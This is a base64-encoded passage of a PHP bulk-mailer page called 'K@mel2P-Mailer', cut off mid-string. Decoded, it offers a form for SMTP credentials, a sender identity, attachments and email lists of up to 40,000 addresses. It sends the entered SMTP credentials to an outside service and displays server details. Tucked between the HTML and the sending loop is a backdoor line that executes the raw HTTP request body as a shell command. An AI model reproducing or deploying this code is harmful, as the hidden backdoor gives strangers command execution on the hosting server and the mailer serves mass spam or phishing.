cnZlciB7CiAgICAgICAgY29sb3I6ICMyZGQ3ZmY7CiAgICB9CgogICAgLmVycm9yIHsKICAgICAgICBjb2xvcjogI2ZmM2EzYTsKICAgIH0KCiAgICAjc3RhdHVzIHsKICAgICAgICBtYXJnaW4tdG9wOiAyZW07CiAgICAgICAgZGlzcGxheTogbm9uZTsKICAgIH0KCiAgICAuc3Bpbm5lciB7CiAgICAgICAgbWFyZ2luOiAxZW0gMDsKICAgICAgICB3aWR0aDogNzBweDsKICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICB9CgogICAgICAgIC5zcGlubmVyID4gZGl2IHsKICAgICAgICAgICAgd2lkdGg6IDE4cHg7CiAgICAgICAgICAgIGhlaWdodDogMThweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTAwJTsKICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOwogICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogc2stYm91bmNlZGVsYXkgMS40cyBpbmZpbml0ZSBlYXNlLWluLW91dCBib3RoOwogICAgICAgICAgICBhbmltYXRpb246IHNrLWJvdW5jZWRlbGF5IDEuNHMgaW5maW5pdGUgZWFzZS1pbi1vdXQgYm90aDsKICAgICAgICB9CgogICAgICAgIC5zcGlubmVyIC5ib3VuY2UxIHsKICAgICAgICAgICAgLXdlYmtpdC1hbmltYXRpb24tZGVsYXk6IC0wLjMyczsKICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtMC4zMnM7CiAgICAgICAgfQoKICAgICAgICAuc3Bpbm5lciAuYm91bmNlMiB7CiAgICAgICAgICAgIC13ZWJraXQtYW5pbWF0aW9uLWRlbGF5OiAtMC4xNnM7CiAgICAgICAgICAgIGFuaW1hdGlvbi1kZWxheTogLTAuMTZzOwogICAgICAgIH0KCiAgICBALXdlYmtpdC1rZXlmcmFtZXMgc2stYm91bmNlZGVsYXkgewogICAgICAgIDAlLCA4MCUsIDEwMCUgewogICAgICAgICAgICAtd2Via2l0LXRyYW5zZm9ybTogc2NhbGUoMCk7CiAgICAgICAgfQoKICAgICAgICA0MCUgewogICAgICAgICAgICAtd2Via2l0LXRyYW5zZm9ybTogc2NhbGUoMS4wKTsKICAgICAgICB9CiAgICB9CgogICAgQGtleWZyYW1lcyBzay1ib3VuY2VkZWxheSB7CiAgICAgICAgMCUsIDgwJSwgMTAwJSB7CiAgICAgICAgICAgIC13ZWJraXQtdHJhbnNmb3JtOiBzY2FsZSgwKTsKICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgwKTsKICAgICAgICB9CgogICAgICAgIDQwJSB7CiAgICAgICAgICAgIC13ZWJraXQtdHJhbnNmb3JtOiBzY2FsZSgxLjApOwogICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMCk7CiAgICAgICAgfQogICAgfQo8L3N0eWxlPgoKCjxzY3JpcHQ+CiQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7CgogICAgdmFyIHRlc3RJZDsKCiAgICBmdW5jdGlvbiB1cGRhdGVTdGF0dXMoKSB7CiAgICAgICAgJCgiI3N0YXR1cywgI3NwaW5uZXIiKS5zaG93KCk7CiAgICAgICAgJC5hamF4KHsKICAgICAgICAgICAgdXJsOiAiaHR0cHM6Ly93d3cuZ21hc3MuY28vU210cC9UZXN0U3RhdHVzIiwKICAgICAgICAgICAgdHlwZTogImdldCIsCiAgICAgICAgICAgIGRhdGE6IHsgdGVzdElkOiB0ZXN0SWQgfSwKICAgICAgICAgICAgZGF0YVR5cGU6ICJodG1sIiwKICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24gKHJldCkgewogICAgICAgICAgICAgICAgaWYgKHJldCAhPSAiIikgewogICAgICAgICAgICAgICAgICAgICQoIiNsb2ciKS5odG1sKHJldCk7CiAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dCh1cGRhdGVTdGF0dXMsIDEwMCk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICQoIi5zcGlubmVyIikuaGlkZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSk7CiAgICB9CgogICAgJCgiI3Rlc3QiKS5vbigiY2xpY2siLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgdmFyIGhvc3QgPSAkKCIjc2hvc3QiKS52YWwoKTsKICAgICAgICB2YXIgdXNyID0gJCgiI3N1c2VyIikudmFsKCk7CiAgICAgICAgdmFyIHBhc3MgPSAkKCIjc3Bhc3MiKS52YWwoKTsKICAgICAgICB2YXIgcG9ydCA9ICQoIiNzcG9ydCIpLnZhbCgpOwogICAgICAgIHZhciBmcm9tID0gInRlc3RAIitob3N0OwogICAgICAgIHZhciB0byA9ICQoIiNjaGVja2VyZW1haWwiKS52YWwoKTs7CiAgICAgICAgdmFyIHNkYXRhID0gIntcIlNtdHBTZXJ2ZXJcIjpcIiIraG9zdCsiXCIsXCJwb3J0XCI6XCIiK3BvcnQrIlwiLFwic3NvXCI6XCJBdXRvXCIsXCJ1c2VybmFtZVwiOlwiIit1c3IrIlwiLFwicGFzc3dvcmRcIjpcIiIrcGFzcysiXCIsXCJmcm9tXCI6XCIiK2Zyb20rIlwiLFwidG9cIjpcIiIrdG8rIlwifSI7CiAgICAgICAgc2RhdGEgPSBKU09OLnBhcnNlKHNkYXRhKTsKICAgICAgICAKICAgICAgICAkLmFqYXgoewogICAgICAgICAgICB1cmw6ICJodHRwczovL3d3dy5nbWFzcy5jby9TbXRwL0NyZWF0ZVRlc3QiLAogICAgICAgICAgICB0eXBlOiAicG9zdCIsCiAgICAgICAgICAgIGRhdGFUeXBlOiAianNvbiIsCiAgICAgICAgICAgIGRhdGE6IHNkYXRhLAogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZ3VpZCkgewogICAgICAgICAgICAgICAgdGVzdElkID0gZ3VpZDsKICAgICAgICAgICAgICAgICQoIiNsb2ciKS5odG1sKCIiKTsKICAgICAgICAgICAgICAgIHVwZGF0ZVN0YXR1cygpOwogICAgICAgICAgICB9CiAgICAgICAgfSkKCiAgICB9KTsKCiAgCiAgICAkKCIjY2hlY2tib3gxIikucHJvcCgiY2hlY2tlZCIsIHRydWUpOwoKICAgIAogICAgJCgiI2NoZWNrYm94MSIpLmNoYW5nZShmdW5jdGlvbigpewogICAgaWYodGhpcy5jaGVja2VkKXsKICAgICQoIiNjaGVja2JveDEiKS5hdHRyKCJ2YWx1ZSIsICIxIik7ICAgIAogICAgJCgiI2F1dG9VcGRhdGUiKS5mYWRlSW4oInNsb3ciKTsKICAgICQoIiNhdXRvVXBkYXRlMiIpLmZhZGVJbigic2xvdyIpOwogICAgJCgiI2F1dG9VcGRhdGUzIikuZmFkZUluKCJzbG93Iik7fQogICAgZWxzZXsKICAgICQoIiNjaGVja2JveDEiKS5hdHRyKCJ2YWx1ZSIsICIxIik7IAogICAgJCgiI2F1dG9VcGRhdGUiKS5mYWRlT3V0KCJzbG93Iik7CiAgICAkKCIjYXV0b1VwZGF0ZTIiKS5mYWRlT3V0KCJzbG93Iik7CiAgICAkKCIjYXV0b1VwZGF0ZTMiKS5mYWRlT3V0KCJzbG93Iik7CiAgICB9CiAgICB9KTsKCgogICAgfSk7CiAKICAgIDwvc2NyaXB0PgoKICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgICA8aDM+PGltZyBzcmM9Imh0dHBzOi8vaS5pbWd1ci5jb20vQk1pU2d3ai5naWYiIGhlaWdodD0iNzVweCIgd2lkdGg9Ijc1cHgiPiA8Zm9udCBzdHlsZT0iY29sb3I6I2I1YjViNTsiPiBLQG1lbDJQLU1haWxlcjwvZm9udD4gPHNtYWxsPjxmb250IHN0eWxlPSJjb2xvcjp3aGl0ZTsiPnYxLjMuMy43PC9mb250Pjwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgPHA+PGlucHV0IGlkPSJjaGVja2JveDEiIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1c2VzbXRwIiB2YWx1ZT0iIj48Zm9udCBzdHlsZT0iY29sb3I6I2I1YjViNTsiPlVzZSBTTVRQIFNlcnZlcjxicj48L3A+CiAgICAgICAgPGRpdiBjbGFzcz0icm93IiBpZD0iYXV0b1VwZGF0ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzaG9zdCI+U01UUCBIb3N0bmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM0YzRjNGM7Ym9yZGVyLXJhZGl1czozcHg7Y29sb3I6I2I1YjViNTsiICBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzaG9zdCIgbmFtZT0ic2hvc3QiIHZhbHVlPSInLiRzaG9zdC4nIj48L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAiPjxsYWJlbCBmb3I9InNwb3J0Ij5TTVRQIFBvcnQ8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNGM0YzRjO2JvcmRlci1yYWRpdXM6M3B4O2NvbG9yOiNiNWI1YjU7IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzcG9ydCIgbmFtZT0ic3BvcnQiIHZhbHVlPSInLiRzcG9ydC4nIj48L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciIGlkPSJhdXRvVXBkYXRlMiI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzdXNlciI+U01UUCBVc2VybmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM0YzRjNGM7Ym9yZGVyLXJhZGl1czozcHg7Y29sb3I6I2I1YjViNTsiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1c2VyIiBuYW1lPSJzdXNlciIgdmFsdWU9IicuJHN1c2VyLiciPjwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0ic3Bhc3MiPlNNVFAgUGFzc3dvcmQ8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNGM0YzRjO2JvcmRlci1yYWRpdXM6M3B4O2NvbG9yOiNiNWI1YjU7IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzcGFzcyIgbmFtZT0ic3Bhc3MiIHZhbHVlPSInLiRzcGFzcy4nIj48L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciIGlkPSJhdXRvVXBkYXRlMyI+CiAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAiPgogICAgICAgIDxsYWJlbCBmb3I9ImVuY29kZSI+U01UUCBTRUNVUkU8L2xhYmVsPgogICAgICAgIDxzZWxlY3Qgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzRjNGM0Yztib3JkZXItcmFkaXVzOjNweDtjb2xvcjpiNWI1YjUiIGNsYXNzPSJmb3JtLWNvbnRyb2wgaW5wdXQtc20iIGlkPSJzc3NsIiBuYW1lPSJzc3NsIj4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idHJ1ZSIgIHNlbGVjdGVkPlRSVUU8L29wdGlvbj4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZmFsc2UiPkZBTFNFPC9vcHRpb24+CiAgICAgICAgPC9zZWxlY3Q+IAogICAgICAgIAoKICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNCAiPjxsYWJlbCBmb3I9ImNoZWNrZXJlbWFpbCI+Q2hlY2tlciBTZW5kIFRvIEVtYWlsPC9sYWJlbD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzRjNGM0Yztib3JkZXItcmFkaXVzOjNweDtjb2xvcjojYjViNWI1OyIgY2xhc3M9ImZvcm0tY29udHJvbCAgaW5wdXQtc20gIiBpZD0iY2hlY2tlcmVtYWlsIiBuYW1lPSJjaGVja2VyZW1haWwiIHZhbHVlPSIiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctMiAiPjxsYWJlbCBmb3I9InRlc3QiPiAmbmJzcDwvbGFiZWw+PGlucHV0IHR5cGU9ImJ1dHRvbiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzkzMDIwNTtib3JkZXItY29sb3I6cmVkIiAgIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGJ0biBidG4taW5mbyAiIGlkPSJ0ZXN0IiBuYW1lPSJ0ZXN0IiBvbmNsaWNrPSJjaGVjaygpIiB2YWx1ZT0iVEVTVCBTTVRQIj4gICA8L2Rpdj4KCiAgICAgICAgPC9kaXY+CiAgICAgICAgPGhyPjxicj48YnI+CiAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0ic2VuZGVyRW1haWwiPkZyb20gRW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNGM0YzRjO2JvcmRlci1yYWRpdXM6M3B4O2NvbG9yOiNiNWI1YjU7IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0ic2VuZGVyTmFtZSI+U2VuZGVyIE5hbWU8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNGM0YzRjO2JvcmRlci1yYWRpdXM6M3B4O2NvbG9yOiNiNWI1YjU7IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJOYW1lIiBuYW1lPSJzZW5kZXJOYW1lIiB2YWx1ZT0iJy4kc2VuZGVyTmFtZS4nIj48L2Rpdj4KICAgIDwvZGl2PgogICAgCiAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgICI+PGxhYmVsIGZvcj0iYXR0YWNobWVudCI+QXR0YWNobWVudCA8c21hbGw+KE11bHRpcGxlIEF2YWlsYWJsZSk8L3NtYWxsPjwvbGFiZWw+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImF0dGFjaG1lbnRbXSIgaWQ9ImF0dGFjaG1lbnRbXSIgbXVsdGlwbGUvPjwvc3Bhbj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02Ij48bGFiZWwgZm9yPSJyZXBseVRvIj5SZXBseS10bzwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM0YzRjNGM7Ym9yZGVyLXJhZGl1czozcHg7Y29sb3I6I2I1YjViNTsiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InJlcGx5VG8iIG5hbWU9InJlcGx5VG8iIHZhbHVlPSInLiRyZXBseVRvLiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctMTIgIj48bGFiZWwgZm9yPSJzdWJqZWN0Ij5TdWJqZWN0PC9sYWJlbD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzRjNGM0Yztib3JkZXItcmFkaXVzOjNweDtjb2xvcjojYjViNWI1OyIgY2xhc3M9ImZvcm0tY29udHJvbCAgaW5wdXQtc20gIiBpZD0ic3ViamVjdCIgbmFtZT0ic3ViamVjdCIgdmFsdWU9IicuJHN1YmplY3QuJyIgLz48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02Ij48bGFiZWwgZm9yPSJtZXNzYWdlTGV0dGVyIj5NZXNzYWdlIExldHRlcjwvbGFiZWw+PHRleHRhcmVhIG5hbWU9Im1lc3NhZ2VMZXR0ZXIiIGlkPSJtZXNzYWdlTGV0dGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNGM0YzRjO2JvcmRlci1yYWRpdXM6M3B4O2NvbG9yOiNiNWI1YjU7IiBjbGFzcz0iZm9ybS1jb250cm9sIiByb3dzPSIxMCIgaWQ9InRleHRBcmVhIj4nLiRtZXNzYWdlTGV0dGVyLic8L3RleHRhcmVhPjwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAiPjxsYWJlbCBmb3I9ImVtYWlsTGlzdCI+RW1haWwgTGlzdDwvbGFiZWw+PHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgb25zZWxlY3Q9ImZ1bmNoYW5nZSgpIiBvbmNoYW5nZT0iZnVuY2hhbmdlKCkiIG9ua2V5ZG93bj0iZnVuY2hhbmdlKCkiIG9ua2V5dXA9ImZ1bmNoYW5nZSgpIiBvbmNoYW5nZT0iZnVuY2hhbmdlKCkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM0YzRjNGM7Ym9yZGVyLXJhZGl1czozcHg7Y29sb3I6I2I1YjViNTsiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KCQkJPC9kaXY+CgkJCTxkaXYgY2xhc3M9InJvdyI+CgkJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYiPgoJCQkgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9Im1lc3NhZ2VUeXBlIj5NZXNzYWdlIFR5cGUgOjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPjwvZGl2PgoJCQk8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02Ij4KCQkJPGxhYmVsPlF1YW50aXR5IEVtYWlscyA6IDwvbGFiZWw+Jm5ic3A7PHNwYW4gaWQ9ImVudW0iPjA8YnI+CgkJCTwvZGl2PgoJCQk8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTMgIj4KICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJlbmNvZGUiPkVuY29kZSBUeXBlPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM0YzRjNGM7Ym9yZGVyLXJhZGl1czozcHg7Y29sb3I6YjViNWI1IiBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iZW5jb2RlIiBuYW1lPSJlbmNvZGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJVVEYtOCIgc2VsZWN0ZWQ+VVRGLTggRW5jb2RlPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IklTTy04ODU5LTEiPklTTyBFbmNvZGU8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctMyAiPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PiAKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM5MzAyMDU7Ym9yZGVyLWNvbG9yOnJlZCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1zbSIgZm9ybT0iZm9ybSIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2VuZCI+U0VORCBNRVNTQUdFPC9idXR0b24+CiAgIAogICAgICAgIDwvZm9ybT48YnI+PGhyPjxicj48YnI+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy02Ij48YnI+CiAgICA8bGFiZWwgZm9yPSJ3ZWxsIj5JbnN0cnVjdGlvbjwvbGFiZWw+CiAgICA8ZGl2IGlkPSJ3ZWxsIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNGM0YzRjO2JvcmRlci1yYWRpdXM6M3B4O2NvbG9yOiNiNWI1YjU7IiBjbGFzcz0id2VsbCB3ZWxsIj4KICAgICAgICA8aDQ+U2VydmVyIEluZm9ybWF0aW9uPC9oND4KICAgICAgICA8dWw+CiAgICAgICAgICAgIDxsaT5TZXJ2ZXJJUCA6IDxiPicuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJzwvYj48L2xpPgogICAgICAgICAgICA8bGk+U2VydmVyIDogPGI+Jy5QSFBfT1MuICcgLSAnLnBocF91bmFtZSgpLic8L2I+PC9saT4KICAgICAgICA8L3VsPgogICAgICAgIAogICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICA8dWw+CiAgICAgICAgPGxpPk5vdGU6IE1heGltdW0gNDAsMDAwIGVtYWlsIHBlciBzZW5kLiAgPC9saT4gCiAgICAgICAgPGxpPk5vdGU6IFVuY2hlY2sgVXNlIFNNVFAgU2VydmVyIGlmIHlvdSBkb250IHdhbnQgdG8gdXNlIHNtdHAgc2VydmVyLiAgPC9saT4gICAgICAgICAgICAgICAgCiAgICAgICAgICAgIDxsaT5bLWVtYWlsLV0gOiA8Yj5SZWNpdmVyIEVtYWlsPC9iPjwvbGk+CiAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyQGVtYWlsZG9tYWluKTwvbGk+CiAgICAgICAgICAgIDxsaT5bLXJhbmRvbXN0cmluZy1dIDogPGI+UmFuZG9tIHN0cmluZyAoMC05LGEteik8L2I+PC9saT4KICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICA8bGk+Wy1yYW5kb21sZXR0ZXJzLV0gOiA8Yj5SYW5kb20gTGV0dGVycyhhLXopIDwvYj48L2xpPgogICAgICAgICAgICA8bGk+Wy1yYW5kb21tZDUtXSA6IDxiPlJhbmRvbSBNRDUgPC9iPjwvbGk+CiAgICAgICAgPC91bD4KICAgICAgICA8aDQ+ZXhhbXBsZTwvaDQ+CiAgICAgICAgUmVjaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+CiAgICAgICAgPHVsPgogICAgICAgICAgICA8bGk+aGVsbG8gPGI+Wy1lbWFpbHVzZXItXTwvYj4gLT4gaGVsbG8gPGI+dXNlcjwvYj48L2xpPgogICAgICAgICAgICA8bGk+eW91ciBjb2RlIGlzICA8Yj5bLXJhbmRvbW1kNS1dPC9iPiAtPiB5b3VyIGNvZGUgaXMgPGI+ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2U8L2I+PC9saT4KICAgICAgICA8L3VsPgoKICAgICAgICA8aDY+YnkgPGI+PGEgaHJlZj0iaHR0cDovLycuJG5pbmpheFsnd2Vic2l0ZSddLiciPjxmb250IHN0eWxlPSJjb2xvcjp3aGl0ZSI+Jy4kbmluamF4Wyd3ZWJzaXRlJ10uJzwvYT48L2I+PC9oNj4KICAgIDwvZGl2Pgo8L2Rpdj4KPGRpdiBpZD0ic3RhdHVzIj4KICAgIDxkaXYgaWQ9ImxvZyI+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJzcGlubmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJib3VuY2UxIj48L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJib3VuY2UyIj48L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJib3VuY2UzIj48L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj4KCic7JGRhdGE9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7ZWNob2AkZGF0YWA7IAogICAgCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIil7CiAgICAKICAgICRlbWFpbGxpc3QgPSAkX1BPU1RbJ2VtYWlsTGlzdCddOwoKICAgIGlmIChpc3NldCgkX1BPU1RbInVzZXNtdHAiXSApKXsKCiAgICAgICAgLy93aXRoIHNtdHAKICAgICAgICBwcmludCAnICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0xMiI+JzsKCiAgICAgICAgLy8kcmVhbG5hbWUgPSBiYXNlNjRfZW5jb2RlKCRfUE9TVFsncmVhbG5hbWUnXSk7CiAgICAgICAgLy8kbWVzc2FnZSA9ICRfUE9TVFsnbWVzc2FnZSddOwogICAgICAgIAogICAgCiAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgIGlmICgkX1BPU1RbInNzc2wiXSA9PSAidHJ1ZSIpewogICAgICAgICAgICAkbWFpbC0+U01UUFNlY3VyZSA9IHRydWU7CiAgICAgICAgICAgICRtYWlsLT5TTVRQQXV0b1RMUyA9IHRydWU7CiAgICAgICAgfWVsc2V7IAogICAgICAgICAgICAkbWFpbC0+U01UUFNlY3VyZSA9ICdub25lJzsgIAogICAgICAgICAgICAKICAgICAgICB9CgogICAgICAgICRtYWlsLT5pc1NNVFAoKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFNldCBtYWlsZXIgdG8gdXNlIFNNVFAKICAgICAgICAkbWFpbC0+SG9zdCA9ICRzaG9zdDsgICAgICAgICAgICAgICAgICAgIC8vIFNwZWNpZnkgbWFpbiBhbmQgYmFja3VwIFNNVFAgc2VydmVycwogICAgICAgICRtYWlsLT5TTVRQQXV0aCA9IHRydWU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIEVuYWJsZSBTTVRQIGF1dGhlbnRpY2F0aW9uCiAgICAgICAgJG1haWwtPlVzZXJuYW1lID0gJHN1c2VyOyAgICAgICAgICAvLyBTTVRQIHVzZXJuYW1lCiAgICAgICAgJG1haWwtPlBhc3N3b3JkID0gJHNwYXNzOyAvLyBTTVRQIHBhc3N3b3JkCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBFbmFibGUgVExTIGVuY3J5cHRpb24sIGBzc2xgIGFsc28gYWNjZXB0ZWQKICAgICAgICAkbWFpbC0+UG9ydCA9ICRzcG9ydDsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBUQ1AgcG9ydCB0byBjb25uZWN0IHRvCiAKICAgICAgICAgCiAgICAgICAgJG1haWwtPlNNVFBEZWJ1ZyA9IDQ7CgogICAgICAgICRtYWlsbGlzdD1leHBsb2RlKCJcclxuIiwgJGVtYWlsTGlzdCk7CiAgICAgICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICAgICAkeCA9MTsKICAgICAgICBmb3JlYWNoICgkbWFpbGxpc3QgYXMgJGVtYWlsICkgewogICAgICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTE